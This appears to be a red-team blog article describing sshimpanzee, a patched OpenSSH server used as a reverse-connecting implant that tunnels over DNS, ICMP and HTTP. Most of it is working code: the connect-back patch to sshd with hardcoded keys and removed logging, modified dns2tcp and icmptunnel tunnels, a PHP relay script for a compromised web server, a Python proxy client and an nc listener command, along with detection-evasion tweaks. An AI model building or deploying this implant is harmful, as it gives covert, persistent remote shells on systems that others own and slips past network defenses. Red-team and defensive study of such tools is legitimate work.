TLDR;
sshimpanzee is a fork of openssh server packaged with different network tunnels. It currently provides reverse connect as well as ssh over ICMP, DNS or HTTP encapsulation and supports HTTP or SOCKS proxies.
A need for a reliable and secure reverse shell
During our redteam engagements, there are plenty of situations where we get an arbitrary code execution but cannot get a direct shell connection using standard reverse shell tools because of some network filtering. More importantly, we need some network pivot capabilities such as proxies or port forwarding. This led to the development of sshimpanzee a static reverse OpenSSH server which offers tunnelling mechanisms such as DNS or ICMP.
How does it work ?
Build options will not be detailed here as they are documented on sshimpanzee's README.md. Instead, this article will give insight about how sshimpanzee works.
Building a reverse sshd
sshimpanzee brings a set of patches to OpenSSH's sshd. Starting from a standard OpenSSH server it is fairly easy to make it "reverse". This is due to the fact that both accept()
and connect()
libc calls (and syscalls) return the same type of object: fd. Thus, when initializing the network part in the listen_on_addrs()
function, it is possible to remove every call to bind and listen.
/*
* Listen for TCP connections
*/
static void
listen_on_addrs(struct listenaddr *la)
{
int ret, listen_sock;
struct addrinfo *ai;
char ntop[NI_MAXHOST], strport[NI_MAXSERV];
for (ai = la->addrs; ai; ai = ai->ai_next) {
if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6)
continue;
if (num_listen_socks >= MAX_LISTEN_SOCKS)
fatal("Too many listen sockets. "
"Enlarge MAX_LISTEN_SOCKS");
if ((ret = getnameinfo(ai->ai_addr, ai->ai_addrlen,
ntop, sizeof(ntop), strport, sizeof(strport),
NI_NUMERICHOST|NI_NUMERICSERV)) != 0) {
error("getnameinfo failed: %.100s",
ssh_gai_strerror(ret));
continue;
}
/* Create socket for listening. */
listen_sock = socket(ai->ai_family, ai->ai_socktype,
ai->ai_protocol);
if (listen_sock == -1) {
/* kernel may not support ipv6 */
verbose("socket: %.100s", strerror(errno));
continue;
}
if (set_nonblock(listen_sock) == -1) {
close(listen_sock);
continue;
}
if (fcntl(listen_sock, F_SETFD, FD_CLOEXEC) == -1) {
verbose("socket: CLOEXEC: %s", strerror(errno));
close(listen_sock);
continue;
}
/* Socket options */
set_reuseaddr(listen_sock);
if (la->rdomain != NULL &&
set_rdomain(listen_sock, la->rdomain) == -1) {
close(listen_sock);
continue;
}
/* Only communicate in IPv6 over AF_INET6 sockets. */
if (ai->ai_family == AF_INET6)
sock_set_v6only(listen_sock);
debug("Do not bind to port %s on %s.", strport, ntop);
num_listen_socks++;
/* Bind the socket to the desired port. */
/*if (bind(listen_sock, ai->ai_addr, ai->ai_addrlen) == -1) {
error("Bind to port %s on %s failed: %.200s.",
strport, ntop, strerror(errno));
close(listen_sock);
continue;
}
listen_socks[num_listen_socks] = listen_sock;
num_listen_socks++;
*/
/* Start listening on the port. */
/*
if (listen(listen_sock, SSH_LISTEN_BACKLOG) == -1)
fatal("listen on [%s]:%s: %.100s",
ntop, strport, strerror(errno));
logit("Server listening on %s port %s%s%s.",
ntop, strport,
la->rdomain == NULL ? "" : " rdomain ",
la->rdomain == NULL ? "" : la->rdomain);
*/
}
}
In the same fashion, the function responsible for handling new clients, server_accept_loop()
, can be modified to replace calls to accept()
, which normally returns a file descriptor to the new client socket, to a call to connect()
which will initiate the connection to the client.
static void
server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s)
{
...
for (i = 0; i < num_listen_socks; i++) {
//if (!(pfd[i].revents & POLLIN))
// continue;
fromlen = sizeof(from);
// AJOUT Backdoor
*newsock = connect_to_remote((struct sockaddr*)&from, &fromlen);
int flags = fcntl(*newsock, F_GETFL, 0);
flags = flags | O_NONBLOCK;
fcntl(*newsock, F_SETFL, flags);
//*newsock = accept(listen_socks[i],
// (struct sockaddr *)&from, &fromlen);
if (*newsock == -1) {
if (errno != EINTR && errno != EWOULDBLOCK &&
errno != ECONNABORTED && errno != EAGAIN)
error("accept: %.100s",
strerror(errno));
if (errno == EMFILE || errno == ENFILE)
usleep(100 * 1000);
usleep(TIMER);
continue;
}
...
int connect_to_remote(struct sockaddr_in* from, int* len){
int sock = 0;
struct sockaddr_in to;
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Socket creation error \n");
return -1;
}
to.sin_port = htons(PORT);
to.sin_family = AF_INET;
if(inet_pton(AF_INET, LISTENADDRESS, &to.sin_addr)<=0)
{
printf("\nInvalid address/ Address not supported \n");
return -1;
}
if (connect(sock, (struct sockaddr *)&to, sizeof(to)) < 0)
{
printf("\nConnection Failed \n");
return -1;
}
from->sin_port = htons(9021);
*len=sizeof(from);
return sock;
}
To avoid constant reconnection attempts despite one being already established, an extra waitpid
call is added at the end of this server_accept_loop
. With this call, the parent process will wait for the child process to finish before retrying to connect.
waitpid(pid, &i, 0);
With these changes, it is possible to quickly obtain a reverse connect. However some extra work is still needed in order to get a fully usable ssh server. Such changes include:
Change configuration loading to load a configuration string generated at compile time.
Remove logging.
Overwrite authentication method, only support key authentication (ed25519) as current user.
Hardcode the user's public key and host's public and private keys.
Overwrite users' default shell (which might be /bin/false for user www-data for example).
Disable privilege separation and patch
pw
structures to make it works in a chrooted environment.
With this basic set of patches sshimpanzee can create a reverse OpenSSH server capable of initiating a reverse connect instead of listening for incoming connections. At compile time, unless told otherwise, the builder script will generate a unique key pair allowing the attacker to authenticate to the built server.
To receive the connection, one can use the standard SSH client with ProxyCommand
option:
ssh -o ProxyCommand='nc -lvp 8080' inexistentuser@127.0.0.1 -i sshimpanzee_generated_key
In this example the ProxyCommand
specified in the command line, tells ssh to use STDIN and STDOUT of the command instead of initiating connection to the remote server. However, direct connections are not always possible, and that's why sshimpanzee comes with tunnelling.
Tunnelling
On some occasions, it is not possible to issue a direct TCP connection to your controlled machine. sshimpanzee offers diverse tunnelling mechanisms:
HTTP and SOCK Proxy (Basic Authentication supported)
DNS Tunnelling
ICMP Tunnelling
HTTP Encapsulation through a PHP Script
When building sshimpanzee with tunnel support, the file /tuns/builder.py contains a set of functions responsible for parsing user provided options and building the corresponding tunnel. Every tunnel used by sshimpanzee is compiled as a linkable static archive (.a) exposing a tun()
function used as entry point. The tun()
function is responsible for the tunnel initialisation. It is called at the beginning of the sshd program when not run in inetd mode. The implementation of tunnel mechanism has been made easy by sshd's inetd mode. When running in this mode, sshd will not listen on any port but will simply read its data from stdin and write output to stdout:
$ ./sshd -i
SSH-2.0-OpenSSH_9.2
Most of the tunnels rely on this behavior. In this case, the tun()
function starts by a fork, then the parent process initializes the tunnel and the child process is reexecuted in inetd mode. The parent process then reads and writes data to the child stdin/stdout and transfers the data over the tunnel.
The rest of this article will describe implementations details about the supported tunnels.
Implementation - DNS
The SSH over DNS tunnel works by using dns2tcp. dns2tcp offers a way to execute a command and pipe directly its stdin/stdout to the DNS Tunnel.
sshimpanzee simply redefines the option parsing mechanism of dns2tcp client to hardcode users configuration.
int get_option_backdoor(char* qdn, t_conf *conf)
{
int c;
char config_file[2048];
char *cmdline;
memset(conf, 0, sizeof(t_conf));
memset(config_file, 0, sizeof(config_file));
debug = 0;
conf->conn_timeout = 3;
conf->sd_tcp = -1;
conf->disable_compression = 1;
conf->query_functions = get_rr_function_by_name(DNS2TCP_QUERY_FUNC);
//Custom Parsing
readlink("/proc/self/exe", config_file,
sizeof(config_file));
cmdline = (char*)malloc(strlen(config_file)+16);
snprintf(cmdline, strlen(config_file)+16, "%s -ir", config_file);
conf->cmdline = cmdline;
conf->domain = qdn;
conf->key = DNS2TCP_KEY;
conf->resource = DNS2TCP_RES;
#ifdef DNS2TCP_RESOLVER
conf->dns_server = DNS2TCP_RESOLVER;
#endif
if (!conf->dns_server)
read_resolv(conf);
return (0);
}
To avoid detection sshimpanzee offers a way to overwrite usual DNS2TCP magic strings.
Implementation - ICMP
In the case of ICMP, sshimpanzee relies on ICMPTunnel. icmptunnel has been heavily modified to improve tunnel stability as well as removing the need for root privileges using ICMP Socket instead of RAW socket.
The use of ICMP socket instead of RAW socket leads to a lot of changes in ICMPTunnel. They will not be detailed extensively here. The core modification are the following:
/**
* Function to open a socket for icmp
*/
int open_icmp_socket()
{
int sock_fd, on = 1;
#ifdef NO_ROOT
sock_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
#else
sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
#endif
if (sock_fd == -1) {
perror("Unable to open ICMP socket\n");
exit(EXIT_FAILURE);
}
#ifndef NO_ROOT
// Providing IP Headers
if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) {
perror("Unable to set IP_HDRINCL socket option\n");
exit(EXIT_FAILURE);
}
#endif
return sock_fd;
}
...
/**
* Function to fill up common headers for IP and ICMP
*/
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)
{
#ifndef NO_ROOT
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->id = rand();
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
#endif
icmp->code = 0;
icmp->un.echo.sequence = 0x4242+i;
icmp->un.echo.id = lastid;
icmp->checksum = 0;
i++;
}
If configured to use ICMP socket instead of RAW Socket, there is no need to craft IP Header.
In order to improve tunnel stability, it has been decided to add a "SSH" prefix to every ICMP data transfer. This allow to discreminate between packets comming from a legitimate Sshimpanzee client and random ping comming from the internet.
void run_tunnel(char *dest, int server)
{
struct icmp_packet packet;
int tun_fd, sock_fd;
fd_set fs;
tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI);
sock_fd = open_icmp_socket();
if (server) {
bind_icmp_socket(sock_fd);
receive_icmp_packet(sock_fd, &packet);
strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);
}else{
strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);
strncpy(packet.dest_addr, dest, strlen(dest) + 1);
set_echo_type(&packet);
packet.payload = dest;
packet.payload_size= strlen(dest);
send_icmp_packet(sock_fd, &packet);
}
configure_network(server);
while (c) {
FD_ZERO(&fs);
FD_SET(tun_fd, &fs);
FD_SET(sock_fd, &fs);
select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(tun_fd, &fs)) {
memset(&packet, 0, sizeof(struct icmp_packet));
if (sizeof(DEFAULT_ROUTE) > sizeof(packet.src_addr)){
perror("Lack of space: size of DEFAULT_ROUTE > size of src_addr\n");
close(tun_fd);
close(sock_fd);
exit(EXIT_FAILURE);
}
strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);
if ((strlen(dest) + 1) > sizeof(packet.dest_addr)){
close(sock_fd);
exit(EXIT_FAILURE);
}
strncpy(packet.dest_addr, dest, strlen(dest) + 1);
if(server) {
set_reply_type(&packet);
}
else {
set_echo_type(&packet);
}
packet.payload = calloc(MTU, sizeof(uint8_t));
if (packet.payload == NULL){
perror("No memory available\n");
exit(EXIT_FAILURE);
}
packet.payload_size = tun_read(tun_fd, packet.payload, MTU);
if(packet.payload_size == -1) {
perror("Error while reading from tun device\n");
exit(EXIT_FAILURE);
}
send_icmp_packet(sock_fd, &packet);
free(packet.payload);
}
if (FD_ISSET(sock_fd, &fs)) {
// Getting ICMP packet
memset(&packet, 0, sizeof(struct icmp_packet));
receive_icmp_packet(sock_fd, &packet);
if(packet.payload[0] == 'S' && packet.payload[1] == 'S' && packet.payload[2] == 'H')
{
packet.payload = packet.payload+3;
tun_write(tun_fd, packet.payload, packet.payload_size-3);
packet.payload = packet.payload-3;
#ifndef NO_ROOT
strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);
#else
free(packet.payload);
strncpy(packet.dest_addr, dest, strlen(dest) + 1);
set_echo_type(&packet);
packet.payload = malloc(strlen(ACK)+1);
strcpy(packet.payload, ACK);
packet.payload_size = strlen(ACK)+1;
send_icmp_packet(sock_fd, &packet);
#endif
}
free(packet.payload);
}
}
}
This prefix addition is not perfect and could be improved using cryptographic validation. However this is enough to prevent any ping packet to crash the tunnel.
Finally, icmptunnel was originaly designed to provide a tun interface. The icmptunnel client binary reads and write data from this tun interface using its tun_read
and tun_write
functions. These functions have been modified to read and write to a sshd -i
stdin/stdout.
int tun_read(int tun_fd, char *buffer, int length)
{
int bytes_read;
buffer[0] = 'S';
buffer[1] = 'S';
buffer[2] = 'H';
bytes_read = read(fd_in, buffer+3, length-3);
if (bytes_read == -1) {
perror("Unable to read from tunnel\n");
exit(EXIT_FAILURE);
}
else {
return bytes_read+3;
}
}
/**
* Function to write to a tunnel
*/
int tun_write(int tun_fd, char *buffer, int length)
{
int bytes_written;
bytes_written = write(fd_out, buffer, length);
if (bytes_written == -1) {
exit(EXIT_FAILURE);
}
else {
return bytes_written;
}
}
fd_out
and fd_in
variable were defined in the tun
entry point as follow.
int tun(){
char config_file[2048];
char dst[256];
char *cmdline;
int fd, remote;
FILE* f;
char* args[] = {"sshd","-irdd", (char*)NULL};
struct sigaction sa;
c = 1;
sigemptyset(&sa.sa_mask);
sa.sa_flags = 0;
sa.sa_handler = child_handler;
sigaction(SIGCHLD, &sa, NULL);
memset(config_file, 0, sizeof(config_file));
strcpy(dst, DEST);
readlink("/proc/self/exe", config_file, sizeof(config_file));
printf("Exec : %s\n", config_file);
pid_t pid = 0;
int inpipefd[2];
int outpipefd[2];
char buf[256];
char msg[256];
int status;
pipe(inpipefd);
pipe(outpipefd);
pid = fork();
if (pid == 0)
{
close(outpipefd[1]);
close(inpipefd[0]);
// Child
dup2(outpipefd[0], STDIN_FILENO);
dup2(inpipefd[1], STDOUT_FILENO);
//dup2(inpipefd[1], STDERR_FILENO);
//ask kernel to deliver SIGTERM in case the parent dies
prctl(PR_SET_PDEATHSIG, SIGTERM);
execve(config_file, args ,environ);
}
close(outpipefd[0]);
close(inpipefd[1]);
fd_out = outpipefd[1];
fd_in = inpipefd[0];
run_tunnel(dst,0);
return 0;
}
Implementation - HTTP
One of the most useful tunnelling mechanism is through HTTP encapsulation. To do so, sshimpanzee implements a mux/demux mechanism through a FIFO file. Like other tunnels, it starts by a fork. Then, the child is reexecuted in inetd mode. The parent process will read data from the fifo, and forward it to the child process. In the same way, it forwards the child output to the fifo.
int tun(){
char config_file[2048];
int fd0[2];
int fd1[2];
fd_set fds;
int pid;
int ret;
int fifo_out;
int fifo_in;
struct sigaction sa;
c = 1;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = sighandler;
sigaction(SIGCHLD, &sa, NULL);
sigaction(SIGKILL, &sa, NULL);
char* args[] = {"sshd","-ir", (char*)NULL};
memset(config_file, 0, sizeof(config_file));
readlink("/proc/self/exe", config_file,
sizeof(config_file));
printf("Exec : %s\n", config_file);
pipe(fd0);
pipe(fd1);
pid = fork();
if (pid==0){
dup2(fd0[0], 0);
dup2(fd1[1], 1);
close(fd0[1]);
close(fd1[0]);
execve(config_file, args ,environ);
}
else{
if (mkfifo(FIFO_OUT, S_IRWXU) != 0 || mkfifo(FIFO_IN, S_IRWXU) != 0){
perror("mkfifo() error");
}
if ((fifo_out = open(FIFO_OUT, O_RDWR)) < 0)
{
perror("open() out error");
exit(-1);
}
if ((fifo_in = open(FIFO_IN, O_RDWR)) < 0)
{
perror("open() in error");
exit(-1);
}
close(fd0[0]);
close(fd1[1]);
while(c){
FD_ZERO(&fds);
FD_SET(fifo_in, &fds);
FD_SET(fd1[0], &fds);
ret = select(fifo_in + 1, &fds, NULL, NULL, NULL);
if (ret < 0)
perror("select() error");
else
{
if (FD_ISSET(fifo_in, &fds)){
ret = read(fifo_in, config_file, 2048);
config_file[ret] = 0;
write(fd0[1], config_file, ret);
}
if (FD_ISSET(fd1[0], &fds)){
ret = read(fd1[0], config_file, 2048);
config_file[ret] = 0;
write(fifo_out, config_file, ret);
}
}
}
}
return (0);
}
On the other end of these fifos, a PHP script hosted on a web server is making the interface with the HTTP protocol. The ssh client, through a custom proxycommand, will issue POST HTTP Request to the script. A READ request is made to get sshd output, while a WRITE request writes data to the fifo.
<?
else if ($_REQUEST["TODO"]=="READ")
{
if (!file_exists("/dev/shm/sshd_fifo_out")){
http_response_code(201);
die("");
}
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
$reader = fopen("/dev/shm/sshd_fifo_out", "rb") or (http_response_code(201) and die ("Fopen Failed"));
stream_set_blocking($reader, false);
$dd = fread($reader, 8192);
$contents = $dd;
while (strlen($dd) == 8192 ) {
$dd = fread($reader, 8192);
$contents .= $dd;
}
$d = base64_encode($contents);
echo $d;
}
else if ($_REQUEST["TODO"]=="WRITE")
{
if (!file_exists("/dev/shm/sshd_fifo_in")){
http_response_code(201);
die("");
}
$dd = base64_decode($d,true);
$writer = fopen("/dev/shm/sshd_fifo_in", "wb") or (http_response_code(201) and die ("Fopen Failed"));
stream_set_blocking($writer, false);
fwrite($writer, $dd);
}
?>
On the client side, sshimpanzee offers a python script to use as proxycommand. This script reads from stdin and send it through a POST Request to the HTTP server. A READ request is emitted to the web server after some time (5 second at most) to pull data from the sshd server.
def pull_data(pth):
x = requests.post(pth, {"TODO": "READ"}, headers=headers, proxies=proxies, timeout=7)
if (not x or x.status_code == 201):
print("sshd not running", file=sys.stderr)
sys.exit(-1)
if (x.content!=""):
b = base64.b64decode(x.content)
sys.stdout.buffer.write(b)
sys.stdout.buffer.flush()
return
def write_data(pth,d):
b = base64.b64encode(d)
x = requests.post(pth, {"TODO":"WRITE" , "DATA":b}, headers=headers, proxies=proxies)
return x.status_code
if __name__ == "__main__":
if "--ssh" in sys.argv:
pth = sys.argv[1]
orig_fl = fcntl.fcntl(sys.stdin, fcntl.F_GETFL)
fcntl.fcntl(sys.stdin, fcntl.F_SETFL, orig_fl | os.O_NONBLOCK)
while True:
i = [sys.stdin]
if "--no-buffer" in sys.argv:
ins, _, _ = select.select(i, [], [], random.randint(1,5))
else:
timer = random.randint(1,BUFFER_RANDOM)
time.sleep(timer)
ins, _, _ = select.select(i, [], [], 0)
if len(ins) != 0:
x = sys.stdin.buffer.read()
write_data(sys.argv[2],x)
pull_data(sys.argv[2])
An input lag is voluntarily added to avoid sending an HTTP request every time a key is pressed on the client side. If you don't care about the number of request sent, add the
--no-buffer
option to proxy_cli.py command line.
Conclusion
Using previously described technics and projects it has been easy to build a versatile linux implant interoperable with classic SSH client. Sshimpanzee can provide ssh over different protocols such as DNS or ICMP. It can be used by redteamers to established a SSH connection through defender's network protections (eg. firewall, reverse proxies...). Sshimpanzee was designed to ease the implementation of new tunnels making it extensible and easily adaptable to new network constraint or tunnelling methods.
Future Work
Add other tunnels :
- HTTP Encapsulation (First step through http_enc and proxy.php : add JSP and other programs )
- Userland TCP/IP Stack with raw sock ?
- ICMP : Xor/Encrypt string to avoid detection in case of network analysis
- Process stealth
Thanks
Sshimpanzee relies on a lot of different projects.
- First of all, Openssh-portable (9.2) : https://github.com/openssh/openssh-portable
- The musl libc to build it statically : https://wiki.musl-libc.org/
For the tunnels:
- Dns2tcp : https://github.com/alex-sector/dns2tcp
- icmptunnel (heavily modified to improve tunnel resiliency) : https://github.com/DhavalKapil/icmptunnel.git
- Proxysocket : https://github.com/brechtsanders/proxysocket
It is important to note that it is not a very original project, weaponizing ssh protocol has already been done several years ago:
- https://github.com/Marc-andreLabonte/blackbear
- https://github.com/Fahrj/reverse-ssh
- https://github.com/NHAS/reverse_ssh
However to the best of our knowledge, none of these projects implement any type of tunnelling mechanisms.